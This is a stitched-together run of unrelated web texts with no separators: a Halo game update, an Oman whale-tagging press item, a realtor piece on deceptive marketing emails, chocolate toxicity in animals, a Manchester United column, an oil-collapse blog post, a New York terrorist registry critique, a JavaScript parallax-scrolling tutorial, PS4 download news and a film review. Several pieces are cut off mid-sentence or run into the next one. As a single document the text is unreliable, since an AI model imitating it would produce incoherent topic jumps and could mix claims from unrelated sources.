As the dev team works on the above content update and beyond, the playlist team continues to work on upcoming experiences, including featured playlists, updates to existing playlists (available game types, voting options, etc), and more. In the near future, we are aiming to release Team Snipers and an objective-only playlist as featured playlists, and also converting the Halo 2: Anniversary Rumble playlist into a cross-game Rumble Pit playlist. We know Team Doubles remains at the top of many wish lists, and it remains at the top of ours as well, but we need to resolve some team creation issues before we can deploy it. So it’s on hold for now, and these fixes are being slotted into content updates. As always, we’ll keep an eye on playlist data to determine what stays, what goes, and what’s next.
Halo 5: Guardians Multiplayer Beta – What’s Next
During and since the beta, the Halo 5 team has been pouring over community feedback and data to build an extensive list of improvements for the game. I’ve been able to discuss some of the changes with Executive Producer Josh Holmes, and he’s working on a blog that will provide you with the details of what the team is working on, complete with a healthy list of learnings and changes from the beta. Stay tuned – I’m excited about it and I think it’s gonna be a good one.
I look forward to providing more regular updates in this same fashion across the above areas and beyond, and certainly recognize that they should’ve come a bit sooner. Thanks for reading, and I’ll be back again soon with the latest.
BravoThe Environment Society of Oman (ESO) has completed the final round of satellite tagging of Arabian Sea Humpback Whales in Oman. A total of 14 whales have been tagged since the project was initiated in 2014.
A press release stated that local and international scientists fitted five satellite transmitters on Arabian Sea Humpback Whales in the Gulf of Masirah over the last two weeks in order to track their movements. The use of advanced technologies such as satellite transmitters have enabled researchers to gain valuable information that would otherwise have taken months of field work to obtain.
The tags emit signal whenever the whales surface and are expected to transmit for anything between one and four months. Maps will then be generated to highlight whale movements habits, including hotspot areas based on where the whales spent most of their time and the pattern of their diving. The Arabian Sea Humpback Whale is recognised as a unique sub-population of humpback whales and is listed as ‘endangered’ under the International Union for Conservation of Nature Red List of Threatened Species.
However, more recent research continues to suggest a need to re-assess their listing as ‘critically endangered’. The population is estimated to be no more than 100 surviving in Oman. However, this estimate has been based on photo ID mark-recapture analysis using information collected between 2000 and 2004.
Suaad al Harthi, programmes director, ESO said, “Over the last ten years, ESO and its local and international partners have contributed vastly to the knowledge of whales and dolphins in Oman. Specifically, in the case of the Arabian Sea Humpback Whale we now understand that Oman hosts a unique sub-population, which is genetically distinct and has been isolated for approximately 70,000 years. We also know that this is the world’s only population of non-migratory humpback whales.
This places a huge responsibility on Oman, along with other North Western Indian Ocean host countries, to work together and look for mechanisms to conserve the population. “Continued research helps to provide us with more detailed information on the whereabouts of the whales and the seasonality of their movement.”
Renaissance Services have been funding this research programme since 2011. Stephen Thomas, CEO of Renaissance Services, said, “The scientific research and monitoring programme has revealed valuable information about the Arabian Sea Humpback Whales. We now understand habitats that are considered sensitive and the threats they face. It is now critical for us to use this information and translate it into concrete action for conservation of the population.”
ESO’s project has been supported by the Ministry of Environment and Climate Affairs, Ministry of Agriculture and Fisheries and other agencies.Difficult to tell…
As a Realtor you get leads from various marketing efforts, some over Facebook or Twitter, others over email or directly from your contact page on your website. Your first task is to determine the legitimacy of each lead and whether they are real people actually house hunting or seeking a listing agent or if they are a scammer or time waster. When you get an email that says “I have all cash need for any house, I saw your sign in yard and need to send you funds now, but have to do it through your personal bank accounts,” but you’re not a listing agent and your sign is in no yard, plus your personal bank is mentioned, you can obviously deduce the lead is not likely to be legitimate.
But it’s not always that easy to determine the legitimacy of an email contact and without the ability to filter, a lot of time can be wasted working with someone who has no intent to buy or sell a home. But what other intent could they possibly have to contact you? Perhaps they’re attempting to direct market to Realtors.
Take for example the recent national emails from an individual named Toby Grundtner who has emailed agents across the nation with the same story. Below is an original contact email from him, unedited:
From: Toby Grundtner
Organization: CCS
Reply-To:
Date: Sat, 11 Jun 2011 23:58:43 -0400
To: Chris Nichols
Subject: Moving out of state Hi Chris, I think I sent a message before, please let me know if you get this one. My parents might be moving their business to Utah next month. Right now they have a marine manufacturing business in Eau Claire, WI. One of the cities they are considering moving to is Orem. They really don’t know a lot of people in that area, they did some searching for realtors online and found your info. They wanted me to get in touch with you (they aren’t very computer savvy). I also emailed other realtors in the Orem area, just to get a couple of ideas (some say that it’s a great time to buy, other say prices are going to continue to drop). In your opinion, how is the Real Estate market in Orem right now? Is it time to buy?
They may be calling you soon for more information. They will need commercial and residential information. I also wanted to let you know that Jen and I own and operate a remote computer repair company. We have been in business for 7 years and have over 3,000 customers. We have just achieved an A+ rating with the Better Business Bureau! We also service the Orem area. We also have a great group of Microsoft Certified technicians who can hook up to your computer remotely to help with any issues you might have. Some issues can be resolved for as little as $18.75! If we don’t fix it, you don’t pay. We can usually connect within minutes of your call. Let us know if you need any help in your office or at your home. Thanks so much Chris!!! Also remember to join us on Facebook for regular tips and computer related alerts. Click thebutton to see our helpful page. “When in doubt, give me a shout” Toby Grundtner – President
Coastal Computer Solutions
Microsoft Certified Professional
866.324.8692 | toll free New CCS Referral Program: You will receive 10% credit of your referral’s first invoice to be used for future onsite or remote services. After 5 referrals you will also receive a free hour of support valued at $75. Let others know to call our office directly at 866.324.8692 and to give your name when contacting us!
Sales pitch or inquiry?
Right off the bat, this feels fishy… why would he tell you so much about his business which is completely unrelated to the transaction, rather than focus on details regarding his parents?
Realtor Chris Nichols shared with us his response:
From: Chris Nichols [mailto:chris@buysellinvestutah.com]
Sent: Monday, June 13, 2011 10:16 AM
To: Info@Remote-Cure.Info
Subject: Re: Moving out of state Toby, It’s a great time to buy in Orem right now. Inventory levels are dropping, prices seem to have stabilized, and sales are up without the tax credit this year. I would be happy to help your parents with any of their real estate needs. They can reach me via e-mail or my cell 80.368.5337 and I would be happy to answer any questions they have. As for computers, I gave up on PC about 9 months ago and am thoroughly enjoying using a Mac now. I will pass your info on to my broker and to our association management in case they have any PC help needs. Regards, Chris Nichols
2011 President
Utah County Association of REALTORS®
It was a kind response that extended graciousness to the potential client’s son, and nothing was said that would provoke further sales pitches. But then:
From: Toby Grundtner
Organization: CCS
Reply-To:
Date: Tue, 14 Jun 2011 12:30:09 -0400
To: Chris Nichols
Subject: RE: Moving out of state Thanks for writing! Their names are Katie and Dennis, I will pass your helpful info on to them. They will be in touch with details. Glad to hear you have gone to mac. Careful, rumor is that a virus is in the works now that mac is becoming more popular. Thanks for keeping us in mind for any PC needs for friends and clients. We are based in Clearwater, FL and we remotely service home and office PCs all over the country. • $75/hr – Remote Service starts at $18.75
• 12 Certified Technicians
• No Fix, No Pay
• No charged travel time
• 7 years in business
• Highly rated on Angie’s List and BBB
• Same day response time
• Refer us to your friends and family for $$$.
• No contracts
• Remote support available, we connect in minutes and have you up and running in no time!! Thanks again!! We come from a town of 1110 people, small town values, hard work and honesty (sounds like a campaign slogan).
I hate nothing more than to feel like I have been ripped off, and that’s how we run our business.
Feel free to call anytime, even if it’s just for advice. Also remember to join us on Facebook for regular tips and computer related alerts. Click the button to see our helpful page. “When in doubt, give me a shout” Toby Grundtner – President
Coastal Computer Solutions
Microsoft Certified Professional
866.324.8692 | toll-free New CCS Referral Program: You will receive 10% credit of your referral’s first invoice to be used for future onsite or remote services. After 5 referrals you will also receive a free hour of support valued at $75. Let others know to call our office directly at 866.324.8692 and to give your name when contacting us!
Wait, I thought your parents were moving to Utah
Grundtner also emailed Missouri Realtor Jessica Hicock:
On Jun 29, 2011, at 9:21 PM, Toby Grundtner wrote: Hi Jessica, I emailed you awhile back to let you know that my parents were thinking of moving to Springfield. They needed to sell their home and business space before making the move. Well, the closing has fallen apart on the commercial space so that has thrown a huge delay in everything. I just wanted to give you a heads up and let you know why the long delay.
I will keep you posted if anything changes, as you can imagine they aren’t too happy.
I have attached an example of our monthly newsletter that I send out, there is an unsubscribe link at the bottom if you’re not interested, but it really does contain a lot of helpful info.
Thanks For your time, I will let you know what happens with my folks, they still are bound and determined to move to Missouri. [attached was a long promotional email with computer tips]
Hicock was already aware of Grundtner’s email scam/campaign to Realtors and wrote back accordingly:
From: Jessica Hickok
Date: Thu, 30 Jun 2011 10:21:57 -0500
To:
Subject: Re: Update on Parents Toby: You really should just stop. Your parent’s situation is fake and will never develop into a real estate sale for myself or any other REALTOR that you’ve sent this to. Your name and your computer business is the topic of conversation across the country among REALTORS on blogs, websites, Facebook groups and on Twitter. Your name is not mentioned in good terms and you are infuriating a group of people who are very closely connected via social networking with your spammy e-mails. The best thing you could do to somewhat recover is send this same mass e-mail out to all REALTORS apologizing for leading us on with a possible sale, than to just come right out and pitch your product. Call it damage control, although I believe the damage done is too much to recover from. Nonetheless, any attempt at an apology is better than nothing. I truly believe that if you really did have parents who were successful in business, they would have never taught you to market your business this way. With that said, please remove my name and e-mail address from any of your further shady marketing materials, tactics and techniques. Jessica Hickok
Vice President of Operations
Dizmang Properties, Inc.
528 W. Battlefield, Suite 101
Springfield, MO 65807
(417) 887-0501 or Fax (417) 887-6934
www.getpaul.com
Locating a scam
We reached out to Grundtner on his various email accounts for a comment and never received a response, so we have not been able to verify whether he has parents, if they are looking to move or where they would move if they were house hunting.
Scam is likely a harsh word in this situation, as he isn’t running any Nigerian Prince money laundering scheme, but at a bare minimum, this is a shoddy marketing campaign for a computer repair company to email dozens of cities across the U.S. claiming his parents are moving to that agent’s location for loyalty (oh, and by the way, if you have computer needs, call me, wink wink).IT WAS a sorry end. Cut down in his prime, the cunning thief lay on the slab, his cold body offering pathologist Brett Gartrell no outward sign of how he had met his maker. Once Gartrell had wielded his scalpel, however, the cause became clear: a belly stuffed with sticky brown gunk. Diagnosis? Death by chocolate.
Divine – yes. Delicious – absolutely. But deadly? For some it certainly is. The corpse on Gartrell’s slab belonged not to a human but to a kea, an endangered New Zealand parrot. Like many animals, keas are acutely sensitive to chemicals in chocolate that are harmless to humans in all but huge doses. Scientists are now studying these chemicals, along with other substances in cocoa, hoping to exploit their toxic effects to control pests or microbes.
If you’re reading this after scoffing your fifteenth chocolate Santa, don’t panic: we humans have been safely enjoying the beans of the cacao plant, Theobroma cacao, for millennia. Theobroma is Greek for “food of the gods”, reflecting the Mayan belief that cocoa had divine origins. Every April, they sacrificed a dog with cacao-coloured markings in honour of Ek Chuah, the god of cacao.
Knife-wielding priests aside, chocolate is still bad news for many animals. Cocoa beans are naturally rich in caffeine and its chemical relatives theobromine and theophylline, collectively called methylxanthines. To humans these are little more than benign stimulants, but to a number of animals they are highly toxic. Just 240 grams of unsweetened dark chocolate contains enough methylxanthines to kill a 40-kilogram dog, about the size of a German shepherd.
AdvertisementIn the years after the fall of the Berlin Wall a phenomenon bubbled up in Eastern Europe called “ostalgie”, or nostalgia for the old east. Seized with ostalgie, citizens of the new world found themselves tiring of the glories of capitalism, with its treacly soft drinks, unfettered access to soft-rock music and a natureless ecstasy of identical consumer products; and yearning instead for the old certainties of communism, the gulag and mass-produced cardboard trousers. As recently as last year a majority of Romanians said they missed the murderous despot Nicolae Ceausescu. Presumably, again, because you knew where you stood and the statues were nice.
It goes to show you can miss anything if you really want to. With exceptions of course. For example there are to date no documented examples of what social scientists might call “Moyestalgia”, which is defined as nostalgia for the events and personnel of David Moyes’s time in charge of Manchester United over 10 grippingly doomed months between July 2013 and April 2014.
I think I know why this is. I think it’s because it was a terrible time when nothing good happened. But for the neutral there is still something grippingly cinematic about the basic category-mistake of Moyes at United, a man not so much out of his depth as tossed and tumbled head over heels in a vast tide of industrial-scale confusion. Squint and you can still just about see his pale, frazzled ghost wandering about on the touchline, still looking like a doomed wedding cake figurine in his sad blue suit, shouting at shadows, pointing at things that never happened, feeling the ground beneath his shiny little shoes shift and fall away.
At the end of which there is a still a chance to take a different memory from this. On the face of it José Mourinho’s current title contenders have almost nothing in common with the brown-paper-and-string stylings of the Moyes succession. From De Gea to Lukaku, through Bailly-Jones-Pogba-Matic and the controlled creativity of Rashford-Martial this second-season team has a classic Mourinho spine in place, those powerful interlocking units that have marked his most successful moments.
Almost nothing, but not quite. In the last few weeks it has been fascinating to see a couple of Moyesian hangovers integrated into the machine. Marouane Fellaini and Juan Mata were the only players signed under Moyes. Even at the time they seemed oddly mismatched, evidence in their silhouettes alone of a certain confusion. On the one hand an awkward, angular midfield wardrobe. On the other a technician whose entire career has been a triumph of vision and skill over his own slight physique.
In the years since both players have been a little bruised and marginalised. Mata and Fellaini are both 29 now and in the last year of their contracts. No other player has come to United for that much money and stayed for this long without winning a league title (even Juan Sebastián Verón got one of those). For all the good moments, they are still on some level, a part of the unforgiven.
Except there is a chance now for an alternative ending. Neither looks like a first-choice starter with everyone fit. But both have become functioning parts in a team that has drawn drooling reviews for its power, its unity of purpose, the sheer relief of no longer looking like an odd-job of high-priced parts. This is in its own way an act of genuine team building, the ability to integrate a pair of wobbly wheels and weld them to the main frame.
Even then Mata and Fellaini stand out. And not only for that air of shared survivor-dom but for something agreeably timeless and touching, a little soul, a few scars. If Fellaini can recover his fitness in time they may even appear against Crystal Palace on Saturday, yoked together on the touchline like an odd-couple man-child double act in a Steinbeck novella. Watching the pair of them answer questions in front of the post-match cameras you half expect to hear things like: “I’m sorry mister my brother he gone strangled your rabbit he don’t mean no harm he just kinda clumsy whoah put the gun down mister.”
Perhaps just me, but something does seem to be working here. The last time Manchester United lost a game that Fellaini started was the 4-0 to Chelsea in October 2016. Of his last 45 first-team appearances only three have ended in defeat. One was as an 89th-minute sub in the EFL Cup semi-final second leg. Another was the FA Cup game at Chelsea where Ander Herrera was sent off. The last was against Real Madrid in the European Super Cup in August, when United actually “won” during Fellaini’s 35 minutes on the pitch.
Still, though, Fellaini divides opinion. Some see a blunt, stodgy, elbow-flailing obstacle. Others see only his bad points. But he is a high-class team player when the system works for him. This season he has seemed to do a little less to good effect, having fewer shots, fewer fouls, fewer headers, holding his position and still able to reel out his most outstanding quality, that astonishing Velcro chest control, a footballer with a chest like a hand, able to rise like a huge, angular sea and simply clutch the ball out of the sky with a wriggle of the shoulders.
Mata is obviously a different type, all bandy-legged fine-point craft. His time at Old Trafford has been a bit easier, maybe because he looks like a United player, maybe because he is such an endearing, likeable figure, and maybe because he’s changed a bit. The idea Mata doesn’t track back should always be judged against the fact hustling and harrying for 90 minutes is so much harder for a player of his size and stamina. But this season he has clearly taken the Mourinho pill. These are early days, of course. We are still grinding through the high gears. If a United title challenge does come Mata-Marouane will add another shade to the pursuit, plus perhaps a deeper emotional tone. It is easy to dismiss footballers’ finer feelings, to see only pampered travelling contractors. But these are still creatures of ambition and anxiety. Both Mata and Fellaini may end up with more appearances for United than any other club by the end of this season, the current febrile four-year spell the dominant segment of their careers. Whatever happens this could, in its own way, end up a redemption story. Perhaps even – the pallor, the panic, the ghosts – a minor sporting exorcism.| By
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Published on The Doomstead Diner on March 5, 2017
Discuss this article at the Energy Table inside the Diner
I ran across a chart on Bloomberg which is perhaps the best demonstration to date that the Oil Economy is in Full On Collapse mode now. The chart is of Oil Inventory in storage, and covers the last 35 years since 1982 of Oil Inventory in the FSoA, and is the Header Pic for this article.
Do you note the Hockey Stick nature of this graph? For 35 years until 2014, Oil Inventories were kept within a very narrow range. Supply & Demand were kept in balance by the folks in control of both the extraction of Oil and the production of money. A more or less steady "growth" rate of the entire system was maintained, as oil output and population increased, the money supply increased in tandem with it, a couple of percentage points ahead which provided return on investment for those in charge of creating the money in the first place. For everyone else, this appeared as Inflation as the cost of housing, food and just about everything else besides techological gizmos kept spiralling upward.
However, even through all the recessions through the 1980s to today, Oil Inventories always stayed inside this narrow range. That includes the Great Recession following the 2008 Financial Crisis. Something CHANGED in 2014 though, and my good friend Steve Ludlum of Economic Undertow pegged it to the month more than 2 years in advance with his "Triangle of Doom". What changed at this time was that the cost of extracting oil went higher than the price the customers could afford to burn it at. The price crashed, from over $100/bbl down to $40/bbl or so.
Charts by Steve Ludlum of Economic Undertow
August 2012 Prediction
April 2015 Reality
At this price, virtually nobody extracting oil makes a profit. A few folks like the Saudis still have Legacy fields they can extract oil at a profit at $20/bbl, but across the whole of Saudi ARAMCO their costs are a good deal higher than that. Here in Amerika, the Frackers may have got their extraction costs down to $60/bbl in some of their better fields, but they're still not making a profit at $50/bbl. Just not bleeding money quite so fast,and if they are TBTF, then Wall Street keeps rolling over their loans to keep them floating another day. This is better in the short term than having to write down $Billions$ |
results. More than half of French voters have said they do not like her "at all" according to a Voici poll.
Marion Le Pen in pictures Tue, May 9, 2017 Marion Maréchal-Le Pen, niece of defeated French presidential candidate Marine Le Pen and a National Front lawmaker, announced that she will not run for re-election in the June legislative elections Play slideshow AFP/Getty Images 1 of 13 Marion Marechal-Le Pen will announce that she leaves her political mandates, according to the far-right National Front
GETTY Emmanuel Macron is currently tipped to come out on topFollowing the Orlando nightclub shooting, New York’s state senate passed a bill it’s touting as a “Historic First-Ever State Terrorist Registry Proposed to Protect the Number One Terrorist Target in the United States – New York.”
The basic concept is a lot like a sex offender registry, only for suspected terrorists:
Registrants would be required to complete a standardized registration form and law enforcement agencies would collect a current photograph, fingerprints and a DNA sample…. The New York State Terrorist Registry would be made available to local, state and federal law enforcement agencies. And like the Sex Offender Registry, the non-confidential information of each registrant, would be available to the public.
Now, the bill’s cosponsors are telling the press the registry will only include those who have been convicted of an act of terrorism.
“This would give local law enforcement the tools that they need so that they are aware if there is somebody in their community that has been convicted of terrorism who still may be a threat to the safety and security of Americans,” said State Senator Cathy Young, one of the cosponsors.
But the text of the legislation itself seems to say otherwise.
In subdivision one, the bill spells out not one but two ways to get on the terrorist registry:
“Terrorist” means any person who is convicted of any terrorist offense set forth in subdivision two of this section, and/or who has engaged in any verifiable act of terrorism pursuant to subdivision three of this section.
So the first way is precisely what Young says it is: a conviction for terrorism.
But the second way, in subdivision three, doesn’t necessarily require a conviction at all.
In fact, that section includes four separate circumstances under which someone who has never been convicted of terrorism could be placed on the public registry should this bill become law.
The two most concerning of these are in subsections (d) and (e):
(d) listed by the Federal Bureau of Investigation’s terrorist screening center on the terrorist screening database; and/or 3 (e) identified by the United States Department of Homeland Security, the United States Department of State, the United States Department of Justice, the United States Department of Defense or any of its armed services, the United States Central Intelligence Agency, and/or the Office of the Director of National Intelligence, as a person who has committed a terrorist act against the United States or any of its citizens, and/or who is a member of a designated terrorist organization pursuant to section 1189 of title 8 of the United States Code.
The short version: if the federal government says you’re a terrorist—without providing any concrete proof or due process as required by the Constitution—you’re a terrorist, and New York State will list you in a public terrorist registry.
Your name, description, address, occupation, and photo would all be available to anyone with Internet access: your neighbors, employers—anyone.
And once a registry is created, it’s not difficult to imagine additional regulations following, particularly residency rules like those some jurisdictions apply to convicted sex offenders now, which ban them from living in certain parts of town.
It’s difficult to overstate how alarming it is that a bill this dangerous to due process and individual liberty has actually passed a state legislature. After all the uproar over Donald Trump’s outrageous Muslim registry idea, the New York state senate has quietly created a program that in its vagueness could pose an even more expansive threat.Creating a basic parallax scrolling effect using CSS and JavaScript
Updated: July 24th, 16
The most dominate trend of 2015 in web design undoubtedly is the parallax scrolling effect, with no signs that's waning. Parallax scrolling transforms the page into a fun slideshow where different elements on the page move at different speeds relative to the scrolling of the page. In this tutorial we'll familiarize ourselves with how a basic parallax scrolling page is created in CSS and JavaScript, and gain insight into the whole shebang in the process.
The anatomy of a parallax scrolling effect
Wikipedia succinctly defines a parallax scrolling effect as:
"a special scrolling technique in computer graphics, wherein background images move by the camera slower than foreground images, creating an illusion of depth in a 2D video game and adding to the immersion."
As it pertains to a webpage, a parallax effect is tied to the scrolling of the page; as this action is performed, different elements on the page such as the background image and foreground elements move/ animate at a different pace relative to the scrollbar's, all orchestrated using JavaScript. Take a look at the following simple parallax scrolling example, which consists of a large background image plus 3 layers moving at different speeds relative to the scrollbar:
Demo: Simple parallax scrolling effect
The JavaScript used in any parallax effect effectively all do the following two things at a minimum:
Monitors precisely how much the document has been scrolled and the rate of change, by examining key properties such as window.pageYOffset.
. Animate various elements on the page as the document is scrolled and relative to the scrollbar by calling code inside window's onscroll event.
Lets explain step by step now how the above parallax effect is put together, and through that, take the mystic out of it!
Starting page with background and bubbles
To start, we'll construct the basic page with just the deep sea background and the two large bubbles, without the fish or JavaScript getting in our way:
Demo: Initial page with two bubbles
The HTML markup is barebones:
<body> <div id="bubbles1"></div> <div id="bubbles2"></div> </body>
Observe the different layers on the page and how they are positioned. The BODY element is simply used to display the large deep sea background image:
body{ height: 2000px; background: navy url(deepsea.jpg) top center no-repeat fixed; background-size: cover; }
The background-size: cover CSS3 property ensures that the image covers the entire area of the element; it makes for light work of plastering every inch of our BODY with the background image, though this property is resource intensive, and should be used with restraint in parallax scrolling applications.
Then comes our two bubbles. Each one is rendered as a background image of a DIV that's fixed on the page and positioned at the top left corner of the page:
#bubbles1, #bubbles2{ width: 100%; height: 100%; top: 0; left: 0; position: fixed; z-index: -1; background: url(bubbles1.png) 5% 50% no-repeat; } #bubbles2{ background: url(bubbles3.png) 95% 90% no-repeat; }
This anchors the two bubbles in view and at the precise coordinates set inside the background property regardless of whether the page is scrolled.
Parallaxing the bubbles
The stage is set to parallax the two bubble layers. When we scroll the page, we'll move each layer in the opposite direction of the scrolling, and at a different speeds:
Demo: Page with parallaxing bubbles
JavaScript:
<script> // Create cross browser requestAnimationFrame method: window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(f){setTimeout(f, 1000/60)} var bubble1 = document.getElementById('bubbles1') var bubble2 = document.getElementById('bubbles2') function parallaxbubbles(){ var scrolltop = window.pageYOffset // get number of pixels document has scrolled vertically bubble1.style.top = -scrolltop *.2 + 'px' // move bubble1 at 20% of scroll rate bubble2.style.top = -scrolltop *.5 + 'px' // move bubble2 at 50% of scroll rate } window.addEventListener('scroll', function(){ // on page scroll requestAnimationFrame(parallaxbubbles) // call parallaxbubbles() on next available screen paint }, false) </script>
Lets break down what's going on here. Ignoring the requestAnimationFrame() method for now, first, we reference the two bubble layers by their IDs. Inside the parallaxbubbles() function, we move each bubble by a fraction of the current vertical scroll amount, thus causing the bubbles to move at a different speed relative to the scrolling. The negative operator added in front of the scrolltop variable causes each bubble to move in the opposite direction of the scroll.
Continuing on, we tap into the " scroll " event of the window object to execute code whenever the window gets scrolled. But instead of just calling parallaxbubbles() directly inside this event, we'll take a more roundabout route that favours performance over succinctness. And that route involves calling parallaxbubbles() indirectly, inside JavaScript's requestAnimationFrame() method. The later is a JavaScript method (with various prefixed versions depending on the browser) that accepts a function reference and executes that function on the next available screen repaint. In other words, it stutters the execution of the function if necessary until the browser is able to render a new frame on the screen, preventing needless calling of the target function that only degrades performance. Whenever we're associating code to window's scroll event, we can expect that code to be invoked in rapid succession- optimizing performance then is key, and wrapping any animation code inside requestAnimationFrame() is an important step to doing that.
A parallaxing fish that moves horizontally across the screen
So we now have a page with two parallaxing bubbles, each moving at reduced rates compared to the scrolling. There's no logic that dictates where the bubbles should be precisely on the page relative to how much the document has been scrolled.
For the next object we'll be parallaxing, lets arrange it so that the object glides from the left edge of the window to the right in sync with the scrollbar. When the scrollbar is at the very top, the object is at the left edge, gradually moving until the scrollbar is at the very end, when the object will be at the right edge. The fish object as it is will be positioned similarity to the other layers, but near the left and bottom of the window.
Demo: Page with parallaxing bubbles and fish
CSS:
#bubbles1, #bubbles2, #fish{ width: 100%; height: 100%; top: 0; left: 0; position: fixed; z-index: -1; background: url(bubbles1.png) 5% 50% no-repeat; } #fish{ left: -100%; background: url(fish.png) right 90% no-repeat; }
JavaScript:
<script> // Create cross browser requestAnimationFrame method: window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(f){setTimeout(f, 1000/60)} var bubble1 = document.getElementById('bubbles1') var bubble2 = document.getElementById('bubbles2') var fish = document.getElementById('fish') var scrollheight = document.body.scrollHeight // height of entire document var windowheight = window.innerHeight // height of browser window function parallaxbubbles(){ var scrolltop = window.pageYOffset // get number of pixels document has scrolled vertically var scrollamount = (scrolltop / (scrollheight-windowheight)) * 100 // get amount scrolled (in %) bubble1.style.top = -scrolltop *.2 + 'px' // move bubble1 at 20% of scroll rate bubble2.style.top = -scrolltop *.5 + 'px' // move bubble2 at 50% of scroll rate fish.style.left = -100 + scrollamount + '%' // set position of fish in percentage (starts at -100%) } window.addEventListener('scroll', function(){ // on page scroll requestAnimationFrame(parallaxbubbles) // call parallaxbubbles() on next available screen paint }, false) window.addEventListener('resize', function(){ // on window resize var scrolltop = window.pageYOffset // get number of pixels document has scrolled vertically var scrollamount = (scrolltop / (scrollheight-windowheight)) * 100 // get amount scrolled (in %) fish.style.left = -100 + scrollamount + '%' // set position of fish in percentage (starts at -100%) }, false) </script>
We add a DIV with the ID "fish" to the page first (view demo page source code), then reference it using the " fish " variable in our JavaScript. What follows are two variables that get the total height of the document and the height of the browser window at the moment, respectively:
var scrollheight = document.body.scrollHeight // height of entire document var windowheight = window.innerHeight // height of browser window
Inside the parallaxbubbles() function, we can calculate exactly how much of the scrollbar has been scrolled as a percentage of the entire scrollable track (where 0 means scrollbar is at the very top, 100% means at the very bottom) with this magic line:
var scrollamount = (scrolltop / (scrollheight-windowheight)) * 100 // get amount scrolled (in %)
The sub operation (scrollheight-windowheight), or subtracting the height of the window from the total height of the document, nets us the total distance the scrollbar is able to travel before it reaches the bottom of the document. It is as this point that we want our fish object to be at the right edge of the window.
When we divide scrolltop (how much the scrollbar has currently traveled) with (scrollheight-windowheight), we get, as a percentage of the total distance, how much the scrollbar has traveled. Multiplying that by 100 converts that information into a percentage value, where 0 means the scrollbar is at the very top, and 100 at the very end of the scrolltrack:
Now that we know how much the scrollbar has scrolled in percentage, we can directly feed that value as part of the fish layer's left property, moving it proportionally to how much the scrollbar has scrolled:
fish.style.left = -100 + scrollamount + '%' // set position of fish in percentage (starts at -100%)
The -100 value is added so the initial left position of the fish is -100%, hiding it from view. As the user scrolls the page, that value gradually increases until it reaches 0%. That's when the fish appears at the right edge of the window (the actual fish image appears as a background positioned to the very right inside the fish layer).
Next we'll address the big elephant in the room- parallax scrolling and mobile devices.
Creating a basic parallax scrolling effect using CSS and JavaScript
A word on mobile devices and parallax scrolling
A word on mobile devices and parallax scrollingUnfortunately for those of us with crappy internet, digital downloads of PS4 games will clock in at around 50 gigabytes.
Sony Worldwide Studios boss Shuhei Yoshida has been debunking rumours left and right in the wake of Sony's big PlayStation 4 reveal event, and this time he has told The Guardian that all PS4 games will be available as digital downloads. He said that users downloading PS4 games might want to take advantage of the PS4's ability to download games and updates in standby mode, as they will clock in at a massive 50 gigabytes. For contrast, new release PC games downloaded via Steam average anywhere from 5-15 gigabytes. Those of you who still prefer to buy physical, worry not, for the PS4 will still focus on discs for the next few years.
"We're shifting our platform more and more to the digital side - PS4 will be similar to PS Vita in that every game will be available as a digital download, and some will also be available as a disc," Yoshida said, in response to a question about how the PS4 will better support smaller development studios. "The Witness will be a digital release and because of the flexibility of the digital distribution scheme, we can have more small games that might be free or available for a couple of dollars, or different services like free-to-play or subscription models."
Yoshida claims that the focus on digital downloads and cloud computing is to make the gaming experience more instantaneous. He wants playing a game to be like watching a TV show. You should be able to turn it on and play straight away without having to sit around waiting for patches and downloads. "Waiting for downloads - That's ridiculous, that's crazy! We want to get out of this madness with PlayStation 4. The games are big, they're 50GB; download isn't instantaneous. So we're making purchase available from any device, so when you're at work, you can spend a couple of moments looking at PlayStation Store and choosing a game, and straight away it starts to download at home."
PS4 downloads will utilize a "progressive download" system, says Yoshida, which means you won't have to wait for the whole thing to download before you start playing. "Once you have the minimum amount of data downloaded you can begin the game, and while you play, the remaining data downloads."
Currently, a large number of PS3 games are available as digital downloads at a cheaper price than their physical retail versions. The success of PSN, Xbox Live Arcade and Steam have pushed digital distribution into the forefront this generation. Downloaded titles on the PS3's PSN, including full PS3 games and digital-only titles like Castle Crashers and Fat Princess, won't transfer to the PS4.
Source: The GuardianDirector: Peter Segal.
Screenplay: Tim Kelleher, Rodney Rothman.
Starring: Robert DeNiro, Sylvester Stallone, Kim Basinger, Alan Arkin, Kevin Hart, Jon Bernthal, LL Cool J, Barry Primus, Anthony Anderson, Ireland Baldwin, Rich Little, Roy Jones Jr, Evander Holyfield, Mike Tyson.
“Yeah, look at us! We’re not dead! Everyone’s laughing at us! The whole world’s laughing at us! But we’re not dead! In fact, I feel more alive now than I ever felt!”
Although their careers have went in very different paths, Sylvester Stallone and Robert DeNiro have been around roughly the same amount of time and have, on occasion, come together. In 1976, they were Best Actor nominees for two of their most successful roles in “Rocky” and “Taxi Driver” (both losing out to Peter Finch in “Network“) and in 1997 they shared the screen for the first time in “Cop Land“. Now they’re at it again…
Henry ‘Razor’ Sharp (Stallone) and Billy ‘The Kid’ McDonnen (DeNiro) where once two towering rivals in the boxing ring. However, after one win each, Sharp promptly announced retirement leaving the public and McDonnen eager for a deciding match. 30 years down the line, they are both given another opportunity to settle their score once and for all.
Who would win in a fight between Rocky Balboa and Raging Bull’s Jake LaMotta? – you can almost hear the film being pitched by some fanboy fantasist as two of cinema’s most iconic films and boxing characters are capitalised on. There seems to be a lack of decorum in it’s concept and it only goes to show that money always does the talking in Hollywood.
Basically, what you see is what you get. It has an element of fun but really never extends to anything more as it leans heavily on the ridiculously cliched and self-indulgent end of things. In fairness, this probably did sound like a good idea, especially when the leads seem to be game for sending themselves up but really, it’s all just mediocre tosh.
You’d have to be punch drunk to find anything more than a modicum of enjoyment and that essentially comes from the two stars’ commitment and conviction. Stallone does his usual Sly-schtick and the kind of vehicle you expect from him these days. The same could be said for DeNiro but he does seem quite up for having a laugh and surprisingly delivers an entertaining performance. As for the support, Jon Bernthal does what what he can in a small underwritten role as DeNiro’s son while Kevin Hart’s promotor is only added for irritating comic relief. Alan Arkin brings a welcome light humour to the proceedings but it’s certainly not up to his usual standard and Kim Basinger has little to do but stand around the periphery, sulking about her past history between the two boxers. That’s about all that can be said as this certainly isn’t a film that would require any form of an in-depth dissection. I’ve said enough already.
